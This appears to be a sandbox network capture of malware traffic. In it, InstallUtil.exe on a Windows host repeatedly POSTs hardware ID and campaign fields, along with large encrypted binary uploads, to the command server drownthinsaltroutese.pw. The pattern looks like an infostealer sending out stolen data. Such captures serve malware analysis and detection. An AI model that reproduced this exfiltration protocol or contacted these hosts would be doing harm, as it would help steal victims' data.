2024-01-07 04:29:57 UTC	629	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 45 45 33 32 44 30 39 36 39 37 45 43 35 38 30 46 44 45 44 43 35 39 33 32 39 43 44 35 32 42 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 41 6d 4e 73 41 32 2d 2d 67 72 65 0d 0a Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"9EE32D09697EC580FDEDC59329CD52B2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"AmNsA2--gre
2024-01-07 04:29:58 UTC	1331	IN	HTTP/1.1 200 OK Date: Sun, 07 Jan 2024 04:29:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9t7n9gavd7jnf9didtcggaq0cc; expires=Wed, 01-May-2024 22:16:37 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Thu, 07-Mar-2024 04:29:58 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Thu, 07-Mar-2024 04:29:58 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Thu, 07-Mar-2024 04:29:58 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=AV4eP9rr6sJ12HzEAaqBoDpr7E4grEG7Tk%2BHwXhU10tz41Qhbx5cJDT3nJYgbjx6heS2YuAkxoqg9BJVEYok71IKQueaYezNZQyki2nqLg9gUt3VtjYC%2F2B0lhA7B2GOtqku8TAU422tDQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 84197675bec34255-EWR alt-svc: h3=":443"; ma=86400
2024-01-07 04:29:58 UTC	28	IN	Data Raw: 31 36 0d 0a 44 65 62 75 67 20 64 61 74 61 20 69 73 20 64 69 73 61 62 6c 65 64 0d 0a Data Ascii: 16Debug data is disabled
2024-01-07 04:29:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49764	172.67.131.114	443	6032	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-07 04:29:58 UTC	287	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 629 Host: drownthinsaltroutese.pw
2024-01-07 04:29:58 UTC	629	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 45 45 33 32 44 30 39 36 39 37 45 43 35 38 30 46 44 45 44 43 35 39 33 32 39 43 44 35 32 42 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 41 6d 4e 73 41 32 2d 2d 67 72 65 0d 0a Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"9EE32D09697EC580FDEDC59329CD52B2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"AmNsA2--gre
2024-01-07 04:29:58 UTC	1333	IN	HTTP/1.1 200 OK Date: Sun, 07 Jan 2024 04:29:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cnan76rhsecduh5ccg6jo9ohrn; expires=Wed, 01-May-2024 22:16:37 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Thu, 07-Mar-2024 04:29:58 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Thu, 07-Mar-2024 04:29:58 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Thu, 07-Mar-2024 04:29:58 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=OajPZ4gkU0NG9blLghDSiCfn95oGfYbQeo9LLtcMyXNfc6n5UfmRAlbJ5tu588NVKreCqqfMABrQTxXuc%2FsOToeyXpygVszAx8aKwWM0nqVdnX%2FOY0idKgak3MErmMfmRlucP%2B9stlxntw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8419767a0b8942e5-EWR alt-svc: h3=":443"; ma=86400
2024-01-07 04:29:58 UTC	28	IN	Data Raw: 31 36 0d 0a 44 65 62 75 67 20 64 61 74 61 20 69 73 20 64 69 73 61 62 6c 65 64 0d 0a Data Ascii: 16Debug data is disabled
2024-01-07 04:29:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49765	172.67.131.114	443	6032	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-07 04:29:59 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20435 Host: drownthinsaltroutese.pw
2024-01-07 04:29:59 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 45 45 33 32 44 30 39 36 39 37 45 43 35 38 30 46 44 45 44 43 35 39 33 32 39 43 44 35 32 42 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 41 6d 4e 73 41 32 2d 2d 67 72 65 0d 0a Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"9EE32D09697EC580FDEDC59329CD52B2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"AmNsA2--gre
2024-01-07 04:29:59 UTC	5104	OUT	Data Raw: 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2024-01-07 04:29:59 UTC	1333	IN	HTTP/1.1 200 OK Date: Sun, 07 Jan 2024 04:29:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=b2umre865sfavi2q6d7h52dsru; expires=Wed, 01-May-2024 22:16:38 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Thu, 07-Mar-2024 04:29:59 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Thu, 07-Mar-2024 04:29:59 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Thu, 07-Mar-2024 04:29:59 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=kDzcYVM1tV6pQpmAymkP0I3m3E3DrkYkASu6%2FUxtNgmNDvoP3JUax7fKCHvFipqu2gIGc%2BLlss2jCJh2L4cj5Y%2FUvsAcWHzsMGKKlIsTBAmlDitftcPEYkRwugtSPBHe4NotqCHlnBLqIg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8419767dae8543bf-EWR alt-svc: h3=":443"; ma=86400
2024-01-07 04:29:59 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 39 31 2e 39 36 2e 32 32 37 2e 31 37 36 0d 0a Data Ascii: 11ok 191.96.227.176
2024-01-07 04:29:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49769	172.67.131.114	443	6032	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-07 04:30:03 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 5436 Host: drownthinsaltroutese.pw
2024-01-07 04:30:03 UTC	5436	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 45 45 33 32 44 30 39 36 39 37 45 43 35 38 30 46 44 45 44 43 35 39 33 32 39 43 44 35 32 42 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 41 6d 4e 73 41 32 2d 2d 67 72 65 0d 0a Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"9EE32D09697EC580FDEDC59329CD52B2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"AmNsA2--gre
2024-01-07 04:30:03 UTC	1335	IN	HTTP/1.1 200 OK Date: Sun, 07 Jan 2024 04:30:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=onjpuf37lgcojg9fefvmb0a8ol; expires=Wed, 01-May-2024 22:16:42 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Thu, 07-Mar-2024 04:30:03 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Thu, 07-Mar-2024 04:30:03 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Thu, 07-Mar-2024 04:30:03 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=epqdxwJxD7FpqxzZjHy0CY9piVdWv%2B7VUYyV2AdfA8AYHQI8%2FrU4%2FxL9EAnbdUbbbSaNDFIB0i7SBv1xQ0SotpLHLGod5c8Q5D5aVaSANdxe58RM3YsslxcQ7j2fRtP2CL2jLcYr6q%2BtbA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8419769879a54299-EWR alt-svc: h3=":443"; ma=86400
2024-01-07 04:30:03 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 39 31 2e 39 36 2e 32 32 37 2e 31 37 36 0d 0a Data Ascii: 11ok 191.96.227.176
2024-01-07 04:30:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49770	172.67.131.114	443	6032	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-07 04:30:04 UTC	287	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 787 Host: drownthinsaltroutese.pw
2024-01-07 04:30:04 UTC	787	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 45 45 33 32 44 30 39 36 39 37 45 43 35 38 30 46 44 45 44 43 35 39 33 32 39 43 44 35 32 42 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 41 6d 4e 73 41 32 2d 2d 67 72 65 0d 0a Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"9EE32D09697EC580FDEDC59329CD52B2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"AmNsA2--gre
2024-01-07 04:30:04 UTC	1335	IN	HTTP/1.1 200 OK Date: Sun, 07 Jan 2024 04:30:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qqh96v3r6kk3r14pfluojpd0al; expires=Wed, 01-May-2024 22:16:43 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Thu, 07-Mar-2024 04:30:04 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Thu, 07-Mar-2024 04:30:04 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Thu, 07-Mar-2024 04:30:04 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=p8f39N7x6HpKFpCs7Rsc95qE7uDtah17EE04p%2Bfd9Qqc5izW8e1jBnSbKP7dLh0L3iWRgbJK4JGqMjggT%2FSlFLmUSjLaJvS%2FeGPV762OaRnnk7hojiZirjM7F5F%2BolJfiiJAGLz8ISqe3A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8419769d2e910cc9-EWR alt-svc: h3=":443"; ma=86400
2024-01-07 04:30:04 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 39 31 2e 39 36 2e 32 32 37 2e 31 37 36 0d 0a Data Ascii: 11ok 191.96.227.176
2024-01-07 04:30:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49772	172.67.131.114	443	6032	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-07 04:30:05 UTC	290	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 564934 Host: drownthinsaltroutese.pw
2024-01-07 04:30:05 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 45 45 33 32 44 30 39 36 39 37 45 43 35 38 30 46 44 45 44 43 35 39 33 32 39 43 44 35 32 42 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 41 6d 4e 73 41 32 2d 2d 67 72 65 0d 0a Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"9EE32D09697EC580FDEDC59329CD52B2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"AmNsA2--gre
2024-01-07 04:30:05 UTC	15331	OUT	Data Raw: 9e 17 60 8c 8e d9 9e e1 50 02 c9 a9 c0 d4 ed fc 22 4d 9a df e6 e7 e4 b0 87 5f 8c 98 a2 9d 52 5e 8e 5c 28 7a c4 38 fe d5 e2 94 0a 6f 5a 2b 8e 5a 61 2a ab 31 04 cb f4 14 21 36 80 f7 a3 a8 18 53 70 01 c3 a2 a4 6c 35 f8 bb c8 73 6a 1d 89 5c d2 8a 7c 15 ff 98 f1 f8 aa 9d 04 95 cc 48 c7 c2 12 cb 9a 33 ef 96 80 df 1e 9a 36 3a 50 10 fc e8 47 b3 37 8f 8c 04 aa c4 af dd 3c 9a 87 a2 d6 47 47 3c 57 7f be d5 10 d2 86 db 54 27 2e 7c 48 d0 c4 3f 44 6d 15 8a 24 9d 61 60 c8 6e 1f 9f 3d b7 38 a9 7b 19 71 8e 6d 16 d5 69 e1 d5 cb 0e 4b 28 6e c6 38 29 2f 9e 7d ab 46 e1 e4 6d a6 d9 74 c3 a6 ae c5 87 5f d1 7c 64 50 32 64 8e 27 cb 87 47 c2 33 a8 e3 f7 1b 03 f8 b6 18 d8 0b 9a 5c e2 17 57 50 18 06 0f b7 6e 4b 90 af 40 64 ce a9 de ab ce a4 9e fd 51 b0 af f8 8c 30 83 89 6a 9e 5c 15 Data Ascii: `P"M_R^\(z8oZ+Za*1!6Spl5sj\\|H36:PG7<GG<WT'.\|H?Dm$a`n=8{qmiK(n8)/}Fmt_\|dP2d'G3\WPnK@dQ0j\
2024-01-07 04:30:05 UTC	15331	OUT	Data Raw: 0f 76 ac d3 4b 2c f6 77 9e 67 4a a2 c3 05 79 fb ea e9 7f a9 ba 7e 8f a3 30 0c ca 38 73 73 46 7e ab 6f 8e 59 72 06 a4 11 7e e7 2b 72 73 dd 0c 22 5c 6b 47 a8 d6 f7 07 c8 7b ba ae 47 50 ae 9c e1 ba bc c1 43 a3 af e6 a7 be 8b 5d ae fc 2b e8 67 8b c6 66 bc b7 0b e4 a3 09 67 9e 20 63 ee 60 ee 3e 58 bc 14 93 95 a7 76 27 9e 4d 6a 3d 48 be c0 68 58 38 c1 6e d4 cd 93 08 63 a6 d6 94 7d 28 0d c5 f8 68 f6 22 bc 6c 5e d8 f8 e1 da 81 0b 85 8f 46 0e 71 94 68 8a a3 23 91 5f dd b4 20 a5 c1 88 d9 f8 bc 78 4d 27 bf f5 d3 75 ad 4f 3e 87 96 12 3d 19 13 03 fe 51 19 c5 fc 0f 13 11 a4 b6 16 6e 86 1d c9 ad eb d6 c8 f8 81 91 c5 85 37 83 ec b0 d9 e3 70 e4 d5 df 27 90 51 75 f7 f3 fc 56 ec 6e d6 4b bb d0 f1 d0 9f b1 4e 25 cf 6f 55 f6 6d 6d 1c e1 8f b1 9e 6b 76 a8 da 97 17 5e 05 01 1d Data Ascii: vK,wgJy~08ssF~oYr~+rs"\kG{GPC]+gfg c`>Xv'Mj=HhX8nc}(h"l^Fqh#_ xM'uO>=Qn7p'QuVnKN%oUmmkv^
2024-01-07 04:30:05 UTC	15331	OUT	Data Raw: b8 7d 40 f7 22 3f 3f e4 48 3f 20 fc 57 4b 49 dd dc e4 5c a4 ba 86 2e d9 7d bc d1 1b b5 24 72 13 ed 71 cf 35 49 28 a9 41 4f d0 cc 05 8c b5 a9 31 95 ba bd 05 c1 b5 25 d8 79 94 ba 79 5c 86 4e 18 dc f2 bb 73 f2 73 37 8e d9 d3 7e b4 24 6d e1 11 65 6f 77 fb c7 b9 d4 ca 1f 1c 83 38 0b 8a ec d5 e6 bb 3c c5 8b e7 68 7e 65 ad fd e4 4f bb 67 78 fa 2d 7f aa 1e 74 7b f5 c1 56 8d 62 51 da 3c 56 ec a8 fd c9 7f 89 ed d5 e1 d7 f3 1d b4 84 3c 28 92 31 ab 49 0e 32 77 85 bd 90 0b 9a eb 35 ff 16 fa c7 13 2e 03 6a 57 ce 30 f7 47 7a bc ea 40 d0 42 14 ed bf b6 ed fb fc c5 9e fc 8a 74 f2 ce c2 7c cd c8 5f 5e 3f 59 51 ad ef 38 01 ec b1 47 25 84 d5 bf 6e 45 dc ff f2 c5 f6 75 bb 08 ff 17 ff 2c 82 79 f5 24 7a ea 66 f2 bf 08 43 d7 c4 81 87 9c cd cd df 17 34 b5 ef 8a 86 68 b0 cc 6d a5 Data Ascii: }@"??H? WKI\.}$rq5I(AO1%yy\Nss7~$meow8<h~eOgx-t{VbQ<V<(1I2w5.jW0Gz@Bt\|_^?YQ8G%nEu,y$zfC4hm
2024-01-07 04:30:05 UTC	15331	OUT	Data Raw: 0f f7 32 9b 78 c0 10 c5 71 d4 5a d5 05 23 bc f3 ee fd a7 c3 ef b5 4d fd b5 24 1d ee 1f 91 b4 b9 a7 f2 5e d9 9c 94 ee 87 fe fb 80 d6 b4 70 32 61 05 62 f8 27 52 f9 fe ff af e4 86 24 28 1d e3 81 f3 c0 e2 9f 81 4b 32 8b 6f 84 18 55 e5 94 94 16 64 31 fc 79 b1 e4 51 11 0f 07 e1 3c d5 fe 89 b3 23 9c f0 5d a2 2c 2b 41 10 f1 67 7b 3a 50 d1 7e 86 24 d6 1a a4 06 6e 45 69 53 0f 7d dc f7 90 f5 e0 26 e7 bc 0e a1 fd 4c f4 76 4c 03 55 91 c8 f7 1d 5c 2a e1 81 a5 8b fa e4 be 63 ec 26 11 7b ca b9 22 00 cd 81 b5 fa ed c6 13 38 45 14 37 44 3c 43 91 d8 bc 21 5f f0 cc 3f 02 e0 ed 42 c9 ac be e9 fc 56 e4 6b e3 84 1f 0e 8a d0 79 cd f4 5a 78 d9 4e 0f 85 a1 57 59 bd 93 66 d9 26 7d 3f 05 05 77 c7 7c 9e 3c 54 d1 89 51 8f 0c 8c 61 dd 7e 62 d5 26 01 95 9a 1b f2 02 b5 5f f8 b1 c1 8e 7b Data Ascii: 2xqZ#M$^p2ab'R$(K2oUd1yQ<#],+Ag{:P~$nEiS}&LvLU\*c&{"8E7D<C!_?BVkyZxNWYf&}?w\|<TQa~b&_{
